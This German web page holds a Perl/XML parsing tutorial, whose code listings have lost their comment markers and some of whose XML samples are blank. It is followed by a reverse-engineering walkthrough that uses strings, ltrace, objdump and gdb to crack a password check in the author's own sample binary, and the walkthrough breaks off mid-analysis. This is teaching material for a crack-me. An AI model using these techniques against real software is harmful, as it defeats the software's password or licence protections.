Impressum Kontakt

Hacking Perl / XML

(balle)

XML das Datenaustauschformat der Zukunft hat seinen eigenen Hype überlebt und etabliert sich langsam, aber unaufhaltsam. Schon jetzt gibt es so viele verschiedene XML Anwendungen und Perl Module, dass man gar nicht mehr weiss wo man anfangen soll. XML, XSLT, XSL-FO, XPath, RSS, SVG, SOAP und XML::Parser, XML::LibXML, XML::Twig, XML::Simple und DOM, SAX wer blickt denn da noch durch? Dieser Text will versuchen einen Einstieg in die Perl / XML Welt zu geben, wird aber keinen Einstieg in XML an und für sich geben, weil es hierfür schon genug Tutorials z.B. unter

Als Programmierer solltest Du Dir XML Dateien als Datenbank vorstellen und daran denken, dass XML eine Sprache zum strukturieren von Daten ist, auf die neue (hoffentlich) standartisierte Datenformate aufbauen.

Zuerst werde ich grundlegende Techniken im Umgang mit XML Parsern erläutern, wie man XML Daten liest und schreibt, in andere Datenformate transformiert, um abschliessend noch ein paar interessante auf XML aufbauende Datenformate vor zu stellen.

Also schnell noch ne Jolt oder nen Bier geschnappt und in die Hände gespuckt! Es gibt viel zu entdecken in den Tiefen und Weiten des Perl / XML Universums!

Wer nach diesem Tutorial noch mehr wissen will, der sollte sich die Perl XML FAQ anschauen.

Bevor man mit XML Daten in seinem Perl Programm spielen kann, muss man sie natürlich irgendwie aus einer XML Datei oder einer anderen Datenquelle in sein Programm laden. Dafür gibt es sogenannte XML Parser und es gibt eine schier unübersichtliche Anzahl von fertigen XML-Parser Modulen auf CPAN. Deshalb habe ich mal in einer kurzen Übersicht versucht die meiner Meinung nach wichtigsten zusammen zu fassen.

Zu aller erst wird man sich zwischen validierenden und nicht validierenden Parsern entscheiden müssen. Ein validierender Parser überprüft die Gültigkeit eines XML Dokuments anhand einer DTD oder eines Schematas. In einer DTD (Document Type Definition) wird festgelegt wie ein XML Dokument strukturiert ist und in einem Schemata kann man zusätzlich noch Datenformate für den Inhalt der einzelnen XML Tags bestimmen. Mehr Informationen zu XML Schema bekommt man hier.

Außerdem gibt es verschiedene Möglichkeiten XML Daten zu parsen, die beiden wichtigsten Methoden sind Tree- und Stream-basiertes parsen. Tree-basierte Parser lesen das komplette XML Dokument ein und bauen einen XML-Baum im Hauptspeicher auf. Diese Methode ist je nach Menge der XML Daten sehr Ressourcen fressend, erlaubt dem Perl XML Hacker allerdings auf eine angenehme Art und Weise auf die Daten zu zu greifen, weil man sich quasi wie ein Eichhörnchen flink durch die XML Daten hangeln kann.

Das W3C hat mit DOM (Document Object Modell) eine standartisierte Schnittstelle für Tree-basierte Parser definiert, d.h. Methoden um sich durch einen XML Baum zu hangeln, Elemente zu identifizieren, zu löschen, zu modifizieren, anzuhängen usw.

Man unterscheidet momentan zwischen DOM und DOM 2. Der Unterschied zwischen DOM und DOM 2 ist der, dass DOM 2 Namensräume unterstützt. Über Namensräume kann man in einem XML Dokument einen Tagnamen mehrmals einsetzen und definiert vorher welchem Namensraum er angehört. Das kann man mit den Namensräumen in Perl Modulen vergleichen.

Das W3C arbeitet derzeit schon an der Version 3 von DOM, auf die ich hier allerdings nicht weiter eingehen werde, weil es dafür noch keine Perl Module auf CPAN gibt.

Neben dem Tree-basierten parsen sollte man wie gesagt auch noch das Stream- oder auch Event-basierte parsen beherrschen.

Beim Stream-basierten parsen definiert man eine Anzahl von Handlern (Funktionen), die aufgerufen werden, wenn der Parser auf ein Event (Ereignis) stößt wie z.B. ein Start-Tag oder einen Kommentar. Stream-basierte Parser sind wesentlich Ressourcen schonender, weil sie nicht das komplette XML Dokument in den Speicher laden. Für Stream-basierte Parser gibt es vom W3C auch eine standatisierte Schnittstelle SAX (Simple API for XML). Hier gibt es ebenfalls die Version 1 und 2 und wieder besteht der Unterschied zwischen den Versionen darin, dass die Version 2 Namensräume unterstützt.

Nach so viel Theorie gibt's erstmal ein wenig Source Code. Hier ein Beispiel für einen validierenden Tree-basierten DOM 2 Parser unter der Verwendung von XML::LibXML. Alles klar? ;D

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

`

  • #!/usr/bin/perl
  • Module laden

  • use XML::LibXML;
  • use strict;
  • Erzeuge ein Parser Objekt

  • my $parser = XML::LibXML->new(validation => 1);
  • Parse die XML Datei, die der Anwender als Parameter uebergibt

  • my $doc = $parser->parse_file($ARGV[0]);
  • Gib alle Elementnamen angefangen beim Root-Element aus

  • dump_nodes($doc->getDocumentElement);
  • Diese Funktion gibt den Element (Node) Namen des aktuellen

  • Elements aus und wird rekursiv für alle Kindelemente

  • (Childnodes) des aktuellen Elements aufgerufen.

  • sub dump_nodes
  • {
  • print $_[0]->nodeName . "\n";
  • map { dump_nodes($) } $[0]->getChildnodes;
  • } `

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

Das obige Beispiel sollte mit den Kommentaren ohne weitere Erklärungen verständlich sein. Und hier direkt noch ein Beispiel für einen nicht validierenden Stream- basierten SAX 1 Parser mit Hilfe des Modules XML::Parser::PerlSAX.

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

`

  • #!/usr/bin/perl
  • Module laden

  • use XML::Parser::PerlSAX;
  • use strict;
  • Erstelle ein Parser Objekt,

  • In der Klasse XMLHandler spezifizieren wir Methoden wie sie von SAX

  • vorgegeben und über den Parser aufgerufen werden.

  • my $parser = XML::Parser::PerlSAX->new(Handler => XMLHandler->new());
  • Parse die Datei, die der Anwender als ersten Parameter angibt.

  • $parser->parse(Source => {SystemId => $ARGV[0]});
  • exit 0;
  • Ab hier folgt die Klasse XMLHandler

  • In dieser Klasse werden SAX konforme Handlermethoden definiert

  • package XMLHandler;
  • Konstruktor

  • sub new { return bless {}, $_[0]; }
  • Diese Methode wird aufgerufen, wenn ein Start-Tag gefunden wird

  • sub start_element { print "Found Start-Tag " . $_[1]->{'Name'} . "\n"; }
  • Diese Methode wird aufgerufen, wenn ein End-Tag gefunden wird

  • sub end_element { print "Found End-Tag " . $_[1]->{'Name'} . "\n"; }
  • Diese Methode wird aufgerufen, wenn Text gefunden wird

  • sub characters { print "Found text " . $_[1]->{'Data'} . "\n"; }
  • 1; `

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

Nachdem Du jetzt zwei Beispiele für die verschiedenen Parsing Methoden kennst, fragst Du Dich vielleicht wann Du was einsetzen solltest. Behalte im Hinterkopf, dass Tree-basierte Parser sehr viel Ressourcen hungriger sind als Stream-basierte Parser, dass aber im Gegenzug Tree-basierte Parser einen direkteren Zugriff auf die Daten ermöglichen. Hierzu möchte ich noch kurz ein Beispiel geben, wie man mit XML::LibXML einen XML-Baum im Speicher aufbaut und dann über XPath Ausdrücke schnell und bequem auf Daten zu greifen kann.

XPath ist eine Sprache mit der man auf Knotenpunkte (Nodes) eines XML-Baums zu greifen und somit auch einen Teilbaum aus einem XML-Baum extrahieren kann. XPath Ausdrücke erinnern ein wenig an eine Mischung aus Unix Dateipfaden und Perl basierten regulären Ausdrücken. Zu allererst eine Beispiel XML Datei, aus der wir gleich bestimmte Daten pflücken werden.

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

`

  • <name>Testserver</name>
    
  • <ip>192.168.1.1</ip>
    
  • <name>HTTP</name>
    
  • <port>80</port>
    

`

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

Hier noch schnell eine DTD für unser Beispiel

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

`

`

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

Diese XML Datei beschreibt einen Server und einen Dienst und speichert ob der Dienst erreichbar ist. Solch eine XML Datei könnte man z.B. für ein Servertest System gebrauchen, allerdings ist es nur ein sehr einfaches Beispiel. Jetzt werden wir mit XPath Ausdrücken gezielt den Servernamen und den Port aus der XML Datei extrahieren.

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

`

  • #!/usr/bin/perl
  • Laden der Module

  • use XML::LibXML;
  • use strict;
  • Erzeuge ein validierendes Parser Objekt

  • my $parser = XML::LibXML->new(validation => 1);
  • #Parse die XML Datei, died er Anwender als ersten Parameter angibt
  • my $doc = $parser->parse_file($ARGV[0]);
  • Greife über einen XPath Ausdruck gezielt auf alle Knotenpunkte

  • des XML-Baums zu, die dem angegeben XPath Ausdruck entsprechen

  • my $nodelist = $doc->findnodes('/config/server/name');
  • my $nodelist2 = $doc->findnodes('/config/service/port');
  • Laufe durch die Liste und geben den enthaltenen Text aus

  • map { print $_->textContent . "\n" } $nodelist->get_nodelist;
  • map { print $_->textContent . "\n" } $nodelist2->get_nodelist; `

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

Wann verwendet man denn nun Tree- und wann Event-basierte Parser?? Nun wenn man einfach nur bestimmte Daten aus dem XML Dokument auslesen möchte, dann sollte man entweder die oben beschriebene XPath Variante verwenden oder auf Event-basierte Parser setzen, die dann in den Eventhandler für Start-Tags überprüfen, ob gerade das für Dich interessante Tag gelesen wird, ein Flag setzen und anschliessend die zwischen diesem Start- und dem nächsten End-Tag enthaltenen Text speichern.

Falls Du irgendwelche Statistiken über vorhandene XML Strukturen errechnen möchtest, solltest Du ebenfalls auf das Stream-baserte parsen setzen. Wenn man allerdings ein XML-Dokument komplett analysieren bzw. umschreiben möchte, dann sollte man auf jeden Fall Tree-basierte Parser verwenden, weil man sich sonst schnell dabei erwischt, dass man in den Eventhandlern eine eigene Datenstruktur aufbaut, die dann doch das komplette XML-Dokument in den Speicher lädt. Letztendlich ist es aber auch eine Frage des Geschmacks bzw. des eigenen Programmierstiles und auf jeden Fall auch eine Frage der Geschwindigkeit. Falls Du Dich nicht entscheiden kannst, möchte ich Dir hier noch kurz das Modul XML::Twig vorstellen, der zwar auf den Tree-Parse Modus von XML::Parser zurück greift, aber dennoch ein Event-basiertes Interface, sowie die Möglichkeit bietet nur Teilbäume zu parsen und somit 90% Ressourcen zu sparen. Das Beispiel verwendet ebenfalls die vorherige XML Datei und extrahiert nur den Servernamen.

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

`

  • #!/usr/bin/perl
  • Laden der Module

  • use XML::Twig;
  • use strict;
  • Erzeuge ein Parser Objekt und setze Eventhandler für XPath Ausdrücke

  • my $parser = new XML::Twig( TwigHandlers => {
  •   	    "/config/server/name" => \&print_server });
    
  • Parse die Datei

  • $parser->parsefile($ARGV[0]);
  • Diese Funktion wird für alle zutreffenden XPath Ausdrücke aufgerufen,

  • gibt den Text des Elements aus und löscht den XML-Baum bis zu diesem

  • Element aus dem Speicher.

  • sub print_server
  • {
  • my ($tree, $element) = @_;
  • print "Found server " . $element->text . "\n";
  • $tree->flush_up_to($element);
  • } `

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

Wenn Du jetzt sagst, das ist ja alles schön und gut, aber geht's vielleicht auch ein wenig einfacher? Noch einfacher als über XPath Ausdrücke? Vielleicht solltest Du Dir mal das Modul XML::Simple anschauen, weil wie man es von Perl gewohnt ist "Es gibt mehr als einen Weg ans Ziel zu kommen".

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

`

  • #!/usr/bin/perl
  • Laden der Module

  • use XML::Simple;
  • use strict;
  • XML Datei parsen

  • my $doc = XMLin($ARGV[0]);
  • Servernamen ausgeben

  • print "Server name " . $doc->{'server'}->{'name'} . "\n"; `

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

Jetzt solltest Du auf jeden Fall genügend Möglichkeiten kennen XML Daten in Dein Programm zu laden und darauf zu zu greifen.

Falls Du keine komplexe Datenstruktur im Speicher zusammen gebastelt hast, die Du jetzt irgendwie gerne als XML Datenstruktur verpacken möchtest, kannst Du natürlich einfach die print() Funktion verwenden und so die XML Datenstruktur selbst aufbauen. Dadurch hast Du die größtmögliche Kontrolle allerdings auch am meisten Arbeit und Du musst selbst für die Wohlgeformtheit Deiner XML Daten sorgen.

Irgendwann wirst Du eine automatisierte Methode zur Konvertierung und Ausgabe verwenden wollen. Dafür gibt es fast schon selbstverständlich mehrere Möglichkeiten und Module in Perl.

Einmal kannst Du einen Parser verwenden, der auch in der Lage ist die Datenstruktur, die er aus Deinen XML Daten gebastelt hat, wieder in XML zurück zu verwandeln. Das ist vielleicht die eleganteste Methode, weil Du nur ein Modul zum lesen und schreiben verwendest und somit nicht noch die Verwendung eines neuen Moduls erlernen musst. Beispiele für solche Parser sind die bereits verwendeten Module XML::LibXML und XML::Simple.

Hier kurz ein Beispiel wie Du mit XML::Simple die XML-Datei einliest, den Servernamen änderst und wieder als XML Daten in eine Datei schreibst. Natürlich kann man die XML Daten auch in einen String schreiben, übers Netzwerk verschicken, in eine Datenbank packen oder sonst was damit anstellen...

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

`

  • #!/usr/bin/perl
  • Laden der Module

  • use XML::Simple;
  • use strict;
  • XML Datei parsen

  • my $doc = XMLin($ARGV[0]);
  • Servernamen anpassen

  • $doc->{'server'}->{'name'} = "whatever";
  • XML Struktur in einen String und anschliessend in eine Datei schreiben

  • my $xml = XMLout($doc);
  • open(OUT,">$ARGV[1]") || die $!;
  • print OUT $xml;
  • close(OUT); `

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

XML::Simple ist wie der Name schon sagt und die Beispiele auch zeigen nur für einfache Anwendungen geeignet, aber dafür auch sehr einfach zu verwenden. Ein weiteres Modul zum schreiben von XML Datenstrukturen ist XML::Writer. Die Verwendung erinnert an die Möglichkeiten des CGI Moduls HTML Tags zu produzieren und wird in der POD Dokumentation auch sehr gut beschrieben, weshalb ich jetzt hier kein Beispiel geben möchte.

O.K. Mittlerweile kannst Du XML Datenstrukturen lesen und schreiben, aber was stellst Du jetzt mit diesem Wissen an?

XML wird gerne dazu verwendet, um einmal erfasste und strukturiete Daten in verschiedene Ausgabeformate zu konvertieren (transformieren). Hierfür dient die Stylesheetsprache XSLT.

Mit XSLT kann man XML z.B in HTML und auf XML basierende Datenformate wie RSS konvertieren, man kann die XML Daten eigentlich ausgeben wie man möchte und hierfür auch Schleifen oder If-Anweisungen verwenden. Somit ist XSLT eher eine Programmiersprache als eine Stylesheetsprache. Ich möchte ein kleines Beispiel bieten, wie wir mit Hilfe eines XSLT Stylesheets unsere XML Beispieldatei in eine HTML Datei transformieren. Dazu schreiben wir einmal ein XSLT Stylesheet und realisieren in wenigen Perl Codezeilen einen XSLT Processor. Hier die XSLT Stylesheetdatei:

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

`

  • <xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" version="1.0">
  • <xsl:output method="html" />
  • <xsl:template match="/">
  • Hier steht gleich der Servername:
  • <xsl:value-of select="/config/server/name">

`

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

Nun zuerst mal ein paar warme Worte zu diesem bewusst gaaanz einfach gehaltenen XSLT Stylesheet.

<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" version="1.0">

leitet ein XSL Stylesheet ein.

<xsl:output method="html" /> teilt dem XSLT Prozessor das Ausgabeformat mit. <xsl:template match="/"> teilt dem Processor mit, dass dieses Template für das komplette XML Dokument (also ab dem Root-Element /) gilt. Danach folgt gewöhnlicher HTML Code und über die Anweisung <xsl:value-of select="/config/server/name"> fügen wir den Servernamen an eine bestimmte Stelle in den HTML Code ein.

XSLT kann soviel, dass es ganze Bücher über diese Sprache gibt. Falls Hier nun erstmal der Source Code für einen einfachen XSLT Processor, der eine XML und eine XSLT Stylesheet Datei einliest, die XML Daten anhand des Stylesheets transformiert und in eine dritte Datei schreibt.

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

`

  • #!/usr/bin/perl
  • Laden der Module

  • use XML::LibXML;
  • use XML::LibXSLT;
  • use Getopt::Std;
  • use strict;
  • Einlesen der Parameter

  • i == XML Datei

  • s == XSLT Stylesheet Datei

  • o == Ausgabe Datei

  • my %opts;
  • getopt('i:s:o:', %opts);
  • XML Parser Objekt erzeugen

  • my $xml_parser = XML::LibXML->new();
  • XSLT Parser Objekt erzeugen

  • my $xslt_parser = XML::LibXSLT->new();
  • XSLT Stylesheet parsen

  • my $xslt = $xslt_parser->parse_stylesheet_file($opts{'s'});
  • XML Datei parsen

  • my $xml = $xml_parser->parse_file($opts{'i'});
  • XML Daten transformieren

  • my $result = $xslt->transform($xml);
  • Transformierte Daten in eine Datei schreiben

  • $xslt->output_file($result,$opts{'o'}); `

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

Aktuelle Browser können eine XML Datei, die auf ein XSLT Stylesheet verweist, einlesen und diese Transformation mit einem eingebauten XSLT Processor selbst durch führen.

Allerdings gibt es da draussen momentan noch viel zu viele alte Browser Versionen, die von XML noch nicht einmal ansatzweise etwas gehört haben, weswegen es zur Zeit wohl noch besser ist die Transformation serverseitig durch zu führen und dem Browser wohl bekanntes HTML zu liefern.

Wenn Du die durch XML strukturierten Daten in ein Druckformat wie z.B. PDF transformieren möchtest, musst Du zusätzlich noch XSL-FO verwenden. Ich werde auf XSL-FO nicht weiter eingehen, weil es bisher noch keinen XSL-FO Processor für Perl gibt und man somit noch ein externes Tool wie FOP aus Apaches XML Project verwenden muss, um XML in PDF zu verwandeln. O.K. Es gibt das Modul XML::Handler::AxPoint mit dem man in einem AxPoint Format strukturierte Daten parsen und in PDF transformieren kann, aber das hat nichts mit XSL-FO zu tun.

Genauso wie man XML in ein anderes Format konvertieren kann, kann man auch andere Formate in XML transformieren. Hier ein Beispiel wie Du eine SQL Tabelle ausliest und das Ergebnis als XML Datei auf die Platte schreibst.

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

`

  • #!/usr/bin/perl
  • Laden der Module

  • use XML::Generator::DBI;
  • use XML::Handler::YAWriter;
  • use DBI;
  • SAX Handler

  • my $ya = XML::Handler::YAWriter->new(AsFile => "-");
  • DBI Handle

  • my $dbh = DBI->connect("dbi:mysql:dbname=test", "test", "test");
  • XML Generator erzeugen

  • my $generator = XML::Generator::DBI->new(
  •                              Handler => $ya,
    
  •   		 dbh => $dbh
    
  •   			);
    
  • SQL Anweisung ausfuehren und Ergebnis als XML auf STDOUT ausgeben

  • $generator->execute("select * from user"); `

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

Dieses Beispiel habe ich einfach aus der POD Dokumentation des Modules XML::Generator::DBI geklaut und ein wenig kommentiert. Bei Fragen gilt RFTM! ;D Weitere Möglichkeiten andere Formate nach XML zu transformieren sind SAX Treiber Module wie z.B. XML::SAXDriver::Excel und XML::SAXDriver::CSV, die man sich wie die Datenbank Treiber Module DBD::* vorstellen kann, sofern man schon mit DBI gearbeitet hat...

Hier noch ein paar interessante XML Anwendungen:

  • RSS - Rich Site Summary ist eine XML Anwendung zur Bereitstellung von Tickermeldungen (Logo, Title, Link, Beschreibung) für RSS Newsreader.
  • RDF - Resource Description Framework ist eine Sprache mit der man Metadaten über einen Webdienst / URI (Resource) bereitstellen kann.
  • SOAP - Simpe Object Access Protocol zum übertragen von ganzen Objekten über das HTTP Protokoll. Man kann Objekte auch über eine Netzwerkverbindung erzeugen, Methoden aufrufen und mit ihnen arbeiten als wären sie lokal.
  • SVG - Scaleable Vector Graphics ist eine Sprache zum beschreiben von zwei dimensionalen Grafiken.
  • Docbook - Docbook ist eine DTD zum schreiben von technischen Dokumentationen bzw. Büchern und konvertieren in die verschiedensten Formate.

Reverse Engineering für Neugierige

(balle)

Hier mal ein kleines Tutorial zum Thema Reverse Engineering unter GNU/Linux auf einer x86 Maschine. Das Paper analysiert ein einfaches Binary, dass ich geschrieben habe und das Ihr hier downloaden könnt.

First things first.

Zuerst mal muss ich darauf hinweisen, dass Reverse Engineering von fremder Software in der EU und in den USA illegal ist, sofern es nicht vom Urheber erlaubt wird. In den USA ist sogar die Verbreitung von Software und Artikeln über das Reverse Engineering Dank dem DMCA verboten. Zum Glück konnte dies beim Euro-DMCA verhindert werden.

Reverse Engineering wird bei weitem nicht nur dazu verwendet um Software zu cracken. Dieses Tutorial verwendet solch ein Beispiel, weil es sehr anschaulich und interessant ist, aber Reverse Engineering wird ebenfalls dazu benutzt um Malware wie Trojaner und Viren zu analysieren und Gegenmassnahmen zu ergreifen, um Spyware aufzudecken oder um Kopierschutzverfahren unter akademischen Gesichtspunkten auf ihre Wirksam- und Brechbarkeit zu analyiseren.

Man schiesst sich also derbe in den eigenen Fuss, wenn man Reverse Engineering komplett verbietet, denn Reverse Engineering gehört zu den digitalen Selbstverteidigungstechniken.

Aber weiter im Text. Ich sollte vielleicht erstmal sagen, was Dir dieses Tutorial nicht erzählt. Ich bringe Dir hier weder bei wie ein Betriebsystem oder Kernel funktioniert, wie Computer generell arbeiten, wie man Assembler liest / programmiert, noch wie ein Compilevorgang abläuft. Wenn Du mehr zu diesen Themen erfahren möchtest, lege ich Dir nahe das Buch Programming from the ground up zu lesen: http://savannah.nongnu.org/projects/pgubook. Meiner Meinung nach eines der besten Computerbücher überhaupt! Vielen Dank an den Autor Jonathan Bartlett und die Co-Autoren an dieser Stelle.

Gut. Also ich setze für die oben genannten Themen Grundkenntnisse voraus. Wenn Du diese nicht hast, lohnt es sich dennoch weiter zu lesen, weil so kannst Du wenigstens schon mal sehen wie man generell ein Binary analysiert und in diesem Fall eine Passwortroutine knackt. Aber um das Vorgehen wirklich zu verstehen, ist es notwendig wenigstens das eben genannte Buch mindestens einmal zu lesen!

Jetzt aber los! Du hast Dir das Binary runter geladen und ein Linux System mit installierten gcc, bin-utils, ltrace, strace und einem Hexeditor (z.B. khexedit), sowie Bier, Kaffee oder ein anderes Getränk Deiner Wahl geschnappt, also einfach mal fallen lassen.

Zuerst wollen wir wissen was das da für nen Binary ist.

file check-password

check-password: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), for GNU/Linux 2.2.0, dynamically linked (uses shared libs), not stripped

Das Binary ist im ELF Format, 32 Bit für x86 Prozessoren. Soweit so gut. ELF ist das Standardformat für moderne Unix(-like) Betriebsysteme, auf Windows wäre das Equivalent PE für dieses EXE Zeugs.

Schön zu wissen ist, dass es dynamische Bibliotheken verwendet, d.h. nicht die gesamte Funktionalität ist im Programm selbst enthalten, sondern zusätzlich in anderen Programmen, die geladen werden und "not stripped" heisst, dass die Symboltablle im ELF Header nicht entfernt wurde und wir leicht raus bekommen können welche Funktionen das Programm konkret verwendet.

Mit dem Befehl strip check-password hätten wir diese Symboltablle (gleich mehr dazu) entfernt. Das solltest Du, wenn, dann aber erst nach dem Tutorial ausprobieren. Ok. Da wir dynamische Bibliotheken verwenden, lass ma kucken welche.

ldd check-password

In der Ausgabe ist folgendes interessant:

libcrypt.so.1 => /lib/tls/libcrypt.so.1 (0x4001d000)

libcrypt sagt uns, dass das Programm die crypt() Funktion für die Verschlüsselung verwendet, d.h. das zu erratende Passwort ist höchstwahrscheinlich nicht im Klartext im Binary zu finden. Egal. Wir probieren es trotzdem, weil es ist gut zu wissen wie das geht.

strings check-password

Du siehst u.a. welche Libs und welche Funktionen verwendet werden UND diesen String hier djjk/aWmbQkO6. Das sieht wie das verschlüsselte Passwort aus. Bei dummen Binarys findest du so schon was du suchst. Mit dem String da könntest du die Standardmethoden Dictionary- oder Bruteforce Attack starten, um das Passwort zu cracken, aber... es geht schöner, viel schöner! ;)

strace ./check-password abc

Damit kucken wir was das Programm für Kernel Funktionen verwendet. Sieht super kompliziert aus und fast alles aus der Ausgabe ist die normale Lade ein Programm und führe es aus-Prozedur, die uns nicht weiter interessiert. Z.B. siehst du fast am Ende der Ausgabe sowas:

read(3, "\177ELF\1\1\1\0\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0\220s\0"..., 512) = 512

Da fängt der Kernel erst an das Binary zu lesen! Hm, irgendwie bringt uns diese Ausgabe nicht weiter. Keine spannenden Funktionen. Aber man kann dadurch z.b. entdecken, dass das Programm verdeckt einen Socket aufmacht, um etwas über das Netz zu senden / empfangen o.ä

Der Vollständigkeit halber ruf mal ltrace ./check-password abc auf. Damit siehst Du die verwendeten Funktionen aus dynamischen Libs.

strncpy(0xbffffcac, "abc", 20)                                             = 0xbffffcac


crypt("abc", "dj")                                                         = "djouNTUyl4Hfg"

Aha! Zuerst wird unsere Eingabe in einen Buffer kopiert und dann mit crypt verschlüsselt (Salt ist "dj") und am Ende kommt djouNTUyl4Hfg raus. Das Ergebnis tut aber nicht... Tjo, macht nix, schaun wir einfach mal weiter.

Ich hab Dir eben versprochen zu erklären was diese ELF Symboltabelle ist. Holen wir das mal kurz nach. Jede dynamische Lib und jede Funktion in solch einer Lib hat eine Adresse. Einfaches Beispiel. Bei Dir im Umkreis hast Du einen Spezialisten für Malerarbeiten, einen Typen, der fetten Sound produziert, eine Freundin, die coole Bilder malt, usw. Wenn Du von denen was willst, rufst Du sie an. Die Telefonnummer ist die Adresse und die ELF Symboltabelle ist nichts anderes als das Telefonbuch Deines Binarys. Lass uns das mal anschauen, indem wir nm check-password in die Console hauen.

Die Telefonnummern unserer Freunde beginnen immer mit 0804 quasi die Ortsvorwahl für "lokale Angelegenheiten". Diese Nummern stehen genau so in dem Binary drin. D.h. es ruft sie wirklich an! Nehmen wir beispielsweise die Funktion check, die ich selbst geschrieben habe:

08048478 T check

...und schaun wir ob das Binary sie anruft: (Die Adressen können bei Dir auf Deinem Computer variieren, achte darauf!)

objdump -d check-password | grep 08048478

08048478 <check>:

Bingo! Ok was haben wir hier gemacht? objdump -d check-password erlaubt es einem das Binary zu disassemblen, d.h. Du bekommst den Assembler Code angezeigt, den Dein Prozessor ausführt, wenn Du dieses Programm lädst. Assembler Code ist nichts anderes, als die wirklichen 0en und 1en in Worte übersetzt oder anders herum, wenn Du in Assembler programmierst ist der quasi letzte Schritt Deine Kommandos in Zahlen zu übersetzen. Doch was genau heisst jetzt hier eigentlich 08048478? Das Programm denkt ihm gehört die Welt, d.h. es denkt es hätte den kompletten Arbeitsspeicher des ganzen Computers nur für sich alleine und könnte damit machen was es wolle. In Wirklichkeit ist dies die virtuelle(!) Adresse an der das Programm die Funktion für "check" findet. Was ist, wenn wir eine Funktion suchen, die nicht in dem Binary selbst, sondern in einer Libs vorhanden ist? Nehmen wir crypt!

08049804 b completed.4463
         U crypt@@GLIBC_2.0

objdump -d check-password |grep 08049804

Hm. Gibt nix. Wie kann das sein? Hat wohl ne Weiterleitung eingerichtet, d.h. wir rufen jemanden an, der in einem anderen Programm wohnt. Ok. Nächster Versuch. Suchen wir die Nummer in der Lib:

objdump -d /usr/lib/i686/cmov/libcrypto.so.0.9.6|grep 08049804

Nix. Ok. Ich gebe zu ich habe eben ein wenig vereinfacht. Es gibt neben der Symboltabelle noch andere Telefonbücher in Deinem Binary nämlich die .plt und die .got Sektion, aber die brauchen wir hier jetzt nicht. Falls Du Dir trotzdem mal anschauen möchtest, was da so drin steht, dann geht das mit objdump -d -j .plt check-password bzw. objdump -d -j .got check-password. Das sind grob gesagt Weiterleitungen (Sprungtabellen) für externe Programmfunktionen und der Linker kümmert sich darum, dass das Programm die Funktionen findet. Doch bevor das hier zu kompliziert wird zurück zu unserem Problem. Wir wollen die Passwortabfrage von diesem Binary knacken und die ist lokal und somit interessieren uns externe Angelegenheiten grad nicht weiter.

So jetzt geht es wirklich ans Eingemachte. Schnappen wir uns einen Debugger / Disassembler und zerlegen das Binary in seine Assemblereinzelteile!

gdb ./check-password (gdb) disas main

Das disassembled die Main (Haupt)-Funktion des Programms, was zur Folge hat, dass Du ziemlich viele komische Befehle auf Deinem Bildschirm siehst und ganz viele Hexzahlen. Stör Dich grad ma nicht weiter dran und suche die check Funktion.

0x0804853a <main\4372>: call 0x8048478 <check>

Da isse. Und danach steht folgendes:

0x08048542 <main\4380>: mov %eax,0xfffffffc(%ebp) 0x08048545 <main\4383>: cmpl $0x1,0xfffffffc(%ebp)

Rückgabewerte von Funktionen stehen immer im EAX Register in Deinem Prozessor und dieser Rückgabewert wird anschließend mit 1 verglichen.

